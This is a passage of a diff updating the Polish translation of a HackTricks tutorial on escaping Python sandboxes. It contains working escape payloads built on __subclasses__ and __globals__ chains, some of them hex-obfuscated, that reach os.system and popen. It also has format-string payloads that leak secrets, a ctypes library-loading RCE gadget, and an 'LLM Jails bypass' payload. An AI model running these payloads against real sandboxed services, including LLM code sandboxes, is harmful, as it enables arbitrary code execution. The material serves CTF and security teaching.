@ -437,9 +445,9 @@ defined_func.__class__.__base__.__subclasses__()
|
|||||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||||
```
|
```
|
||||||
### Znajdowanie niebezpiecznych załadowanych bibliotek
|
### Znajdowanie załadowanych niebezpiecznych bibliotek
|
||||||
|
|
||||||
Na przykład, wiedząc, że za pomocą biblioteki **`sys`** można **importować dowolne biblioteki**, możesz wyszukać wszystkie **moduły załadowane, które mają zaimportowane sys w sobie**:
|
Na przykład, wiedząc, że z biblioteką **`sys`** można **import arbitrary libraries**, możesz wyszukać wszystkie **modules loaded that have imported sys inside of them**:
|
||||||
```python
|
```python
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
@ -448,7 +456,7 @@ Jest ich wiele, a **potrzebujemy tylko jednego**, aby wykonać polecenia:
|
|||||||
```python
|
```python
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||||
```
|
```
|
||||||
Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą być używane do **wykonywania poleceń**:
|
Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą być użyte do **wykonywania poleceń**:
|
||||||
```python
|
```python
|
||||||
#os
|
#os
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||||
@ -483,7 +491,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą b
|
|||||||
#pdb
|
#pdb
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||||
```
|
```
|
||||||
Ponadto, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
|
Co więcej, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
for b in bad_libraries_names:
|
for b in bad_libraries_names:
|
||||||
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||||||
pdb:
|
pdb:
|
||||||
"""
|
"""
|
||||||
```
|
```
|
||||||
Ponadto, jeśli uważasz, że **inne biblioteki** mogą **wywoływać funkcje do wykonywania poleceń**, możemy również **filtrować według nazw funkcji** w możliwych bibliotekach:
|
Co więcej, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje uruchamiające polecenia**, możemy także **filtrować według nazw funkcji** znajdujących się w tych bibliotekach:
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||||
@ -538,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||||||
## Rekurencyjne wyszukiwanie Builtins, Globals...
|
## Rekurencyjne wyszukiwanie Builtins, Globals...
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> To jest po prostu **niesamowite**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub czegokolwiek innego**, po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.**
|
> To jest po prostu **świetne**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub cokolwiek innego** po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, gdzie ten obiekt występuje.**
|
||||||
```python
|
```python
|
||||||
import os, sys # Import these to find more gadgets
|
import os, sys # Import these to find more gadgets
|
||||||
|
|
||||||
@ -656,13 +664,14 @@ main()
|
|||||||
```
|
```
|
||||||
Możesz sprawdzić wynik tego skryptu na tej stronie:
|
Możesz sprawdzić wynik tego skryptu na tej stronie:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Python Format String
|
## Python Format String
|
||||||
|
|
||||||
Jeśli **wyślesz** **ciąg** do Pythona, który ma być **formatowany**, możesz użyć `{}`, aby uzyskać dostęp do **wewnętrznych informacji Pythona.** Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globals lub builtins na przykład.
|
Jeśli **wyślesz** **string** do python, który zostanie **sformatowany**, możesz użyć `{}` aby uzyskać dostęp do **python internal information.** Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins, na przykład.
|
||||||
```python
|
```python
|
||||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||||
CONFIG = {
|
CONFIG = {
|
||||||
@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** z **nawiasami** bez cudzysłowów `__globals__[CONFIG]`.
|
Zauważ, jak możesz **dostępować do atrybutów** w zwykły sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
|
||||||
|
|
||||||
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
|
Zwróć też uwagę, że możesz użyć `.__dict__` do wypisania elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Niektóre inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając odpowiednio **`!s`**, **`!r`**, **`!a`**:
|
Inne ciekawe cechy format strings to możliwość **wywoływania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie przez dodanie odpowiednio **`!s`**, **`!r`**, **`!a`**:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Ponadto możliwe jest **kodowanie nowych formatterów** w klasach:
|
Ponadto możliwe jest **code new formatters** w klasach:
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
def __format__(self, format):
|
||||||
@ -702,17 +711,17 @@ return 'HAL 9000'
|
|||||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||||
#I'm afraid I can't do that.
|
#I'm afraid I can't do that.
|
||||||
```
|
```
|
||||||
**Więcej przykładów** dotyczących **formatu** **łańcucha** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
**Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||||
|
|
||||||
> [!OSTRZEŻENIE]
|
> [!CAUTION]
|
||||||
> Sprawdź również następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
|
> Sprawdź także następującą stronę zawierającą gadgets, które r**ead sensitive information from Python internal objects**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../python-internal-read-gadgets.md
|
../python-internal-read-gadgets.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Ładunki ujawniające wrażliwe informacje
|
### Sensitive Information Disclosure Payloads
|
||||||
```python
|
```python
|
||||||
{whoami.__class__.__dict__}
|
{whoami.__class__.__dict__}
|
||||||
{whoami.__globals__[os].__dict__}
|
{whoami.__globals__[os].__dict__}
|
||||||
@ -728,22 +737,22 @@ secret_variable = "clueless"
|
|||||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||||
str(x) # Out: clueless
|
str(x) # Out: clueless
|
||||||
```
|
```
|
||||||
### Obejście LLM Jails
|
### LLM Jails bypass
|
||||||
|
|
||||||
Z [tutaj](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
Z [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||||
|
|
||||||
### Od formatu do RCE ładowania bibliotek
|
### Od format string do RCE poprzez ładowanie bibliotek
|
||||||
|
|
||||||
Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie.
|
Według [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest załadowanie dowolnych bibliotek z dysku, wykorzystując format string vulnerability w python.
|
||||||
|
|
||||||
Przypomnienie, za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**.
|
Dla przypomnienia, za każdym razem gdy w pythonie wykonywana jest jakaś operacja, uruchamiana jest pewna funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** wykona **`{'a':'b'}.__getitem__('a')`**.
|
||||||
|
|
||||||
Masz więcej takich przykładów w sekcji [**Wykonanie Pythona bez wywołań**](#python-execution-without-calls).
|
Więcej takich przykładów znajdziesz w sekcji [**Python execution without calls**](#python-execution-without-calls).
|
||||||
|
|
||||||
Luka w formacie łańcucha w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie jest możliwe uzyskanie RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
|
Format string vuln w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie można uzyskać RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
|
||||||
Jednak możliwe jest użycie `[]`. Dlatego, jeśli powszechna biblioteka pythonowa ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE.
|
Jednak możliwe jest użycie `[]`. W związku z tym, jeśli jakaś popularna biblioteka python ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje arbitralny kod, można je wykorzystać do uzyskania RCE.
|
||||||
|
|
||||||
Szukając takiego gadżetu w pythonie, opis proponuje tę [**kwerendę wyszukiwania na Githubie**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gdzie znalazł ten [przykład](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
Szukając takiego gadgetu w pythonie, autor writeupu proponuje to [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Tam znalazł ten [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||||
```python
|
```python
|
||||||
class LibraryLoader(object):
|
class LibraryLoader(object):
|
||||||
def __init__(self, dlltype):
|
def __init__(self, dlltype):
|
||||||
@ -765,20 +774,20 @@ return getattr(self, name)
|
|||||||
cdll = LibraryLoader(CDLL)
|
cdll = LibraryLoader(CDLL)
|
||||||
pydll = LibraryLoader(PyDLL)
|
pydll = LibraryLoader(PyDLL)
|
||||||
```
|
```
|
||||||
To urządzenie pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne jest w jakiś sposób **napisać lub przesłać bibliotekę do załadowania** poprawnie skompilowaną na zaatakowany serwer.
|
Ten gadget pozwala **load a library from disk**. W związku z tym trzeba w jakiś sposób **write or upload the library to load**, poprawnie skompilowaną dla atakowanego serwera.
|
||||||
```python
|
```python
|
||||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||||
```
|
```
|
||||||
Wyzwanie w rzeczywistości wykorzystuje inną podatność na serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera.
|
Wyzwanie faktycznie wykorzystuje inną podatność w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera.
|
||||||
|
|
||||||
## Analiza obiektów Pythona
|
## Analiza obiektów Python
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Jeśli chcesz **nauczyć się** o **bajtkodzie Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
> Jeśli chcesz **nauczyć się** o **python bytecode** dogłębnie, przeczytaj ten **świetny** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
|
|
||||||
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wydobyć.
|
W niektórych CTFs możesz otrzymać nazwę **custom function where the flag** i musisz zobaczyć **internals** tej **function**, aby ją wyekstrahować.
|
||||||
|
|
||||||
To jest funkcja do zbadania:
|
Oto function do zbadania:
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
|||||||
```
|
```
|
||||||
#### globals
|
#### globals
|
||||||
|
|
||||||
`__globals__` i `func_globals` (te same) Uzyskuje globalne środowisko. W przykładzie można zobaczyć kilka zaimportowanych modułów, kilka zmiennych globalnych i ich zadeklarowaną zawartość:
|
`__globals__` and `func_globals` (to samo) Uzyskuje dostęp do środowiska globalnego. W przykładzie widać niektóre zaimportowane moduły, niektóre zmienne globalne oraz zadeklarowaną ich zawartość:
|
||||||
```python
|
```python
|
||||||
get_flag.func_globals
|
get_flag.func_globals
|
||||||
get_flag.__globals__
|
get_flag.__globals__
|
||||||
@ -807,11 +816,11 @@ get_flag.__globals__
|
|||||||
#If you have access to some variable value
|
#If you have access to some variable value
|
||||||
CustomClassObject.__class__.__init__.__globals__
|
CustomClassObject.__class__.__init__.__globals__
|
||||||
```
|
```
|
||||||
[**Zobacz tutaj więcej miejsc do uzyskania globals**](#globals-and-locals)
|
[**See here more places to obtain globals**](#globals-and-locals)
|
||||||
|
|
||||||
### **Dostęp do kodu funkcji**
|
### **Dostęp do kodu funkcji**
|
||||||
|
|
||||||
**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** funkcji.
|
**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** tej funkcji.
|
||||||
```python
|
```python
|
||||||
# In our current example
|
# In our current example
|
||||||
get_flag.__code__
|
get_flag.__code__
|
||||||
@ -825,7 +834,7 @@ compile("print(5)", "", "single")
|
|||||||
dir(get_flag.__code__)
|
dir(get_flag.__code__)
|
||||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||||
```
|
```
|
||||||
### Uzyskiwanie informacji o kodzie
|
### Pozyskiwanie informacji o kodzie
|
||||||
```python
|
```python
|
||||||
# Another example
|
# Another example
|
||||||
s = '''
|
s = '''
|
||||||
@ -871,7 +880,7 @@ get_flag.__code__.co_freevars
|
|||||||
get_flag.__code__.co_code
|
get_flag.__code__.co_code
|
||||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||||
```
|
```
|
||||||
### **Rozbicie funkcji**
|
### **Dysasemblacja funkcji**
|
||||||
```python
|
```python
|
||||||
import dis
|
import dis
|
||||||
dis.dis(get_flag)
|
dis.dis(get_flag)
|
||||||
@ -899,7 +908,7 @@ dis.dis(get_flag)
|
|||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **rozłożyć** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również wskazuje offset zmiennej, która jest ładowana.
|
Zauważ, że **jeśli nie możesz zaimportować `dis` w python sandbox** możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **disassemble** go lokalnie. Nie zobaczysz zawartości zmiennych ładowanych (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` także podaje offset zmiennej, która jest ładowana.
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
@ -921,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||||||
44 LOAD_CONST 0 (0)
|
44 LOAD_CONST 0 (0)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
## Kompilowanie Pythona
|
## Kompilacja Pythona
|
||||||
|
|
||||||
Teraz wyobraźmy sobie, że w jakiś sposób możesz **zrzucić informacje o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\
|
Wyobraźmy sobie teraz, że w pewien sposób możesz **dump informacji o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\\
|
||||||
Jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale tylko czytając disassemble **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
Jak w poniższym przykładzie, **możesz uzyskać dostęp do code object** tej funkcji, ale samo czytanie disassemble **nie pozwala ci obliczyć flagi** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
@ -937,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
|
|||||||
else:
|
else:
|
||||||
return "Nope"
|
return "Nope"
|
||||||
```
|
```
|
||||||
### Tworzenie obiektu kodu
|
### Tworzenie code object
|
||||||
|
|
||||||
Przede wszystkim musimy wiedzieć **jak stworzyć i wykonać obiekt kodu**, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:
|
Po pierwsze, musimy wiedzieć **how to create and execute a code object**, żebyśmy mogli stworzyć taki obiekt i wykonać naszą funkcję leaked:
|
||||||
```python
|
```python
|
||||||
code_type = type((lambda: None).__code__)
|
code_type = type((lambda: None).__code__)
|
||||||
# Check the following hint if you get an error in calling this
|
# Check the following hint if you get an error in calling this
|
||||||
@ -959,7 +968,7 @@ mydict['__builtins__'] = __builtins__
|
|||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać porządek parametrów w wersji Pythona, którą uruchamiasz, jest wykonanie:
|
> W zależności od wersji python **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać porządek parametrów w wersji python, której używasz, jest uruchomienie:
|
||||||
>
|
>
|
||||||
> ```
|
> ```
|
||||||
> import types
|
> import types
|
||||||
@ -967,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
### Odtwarzanie wyciekłej funkcji
|
### Odtwarzanie leaked funkcji
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> W poniższym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciekować**.
|
> W następującym przykładzie pobierzemy wszystkie dane potrzebne, aby odtworzyć funkcję bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie** wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to właśnie to, co **będziesz musiał leak**.
|
||||||
```python
|
```python
|
||||||
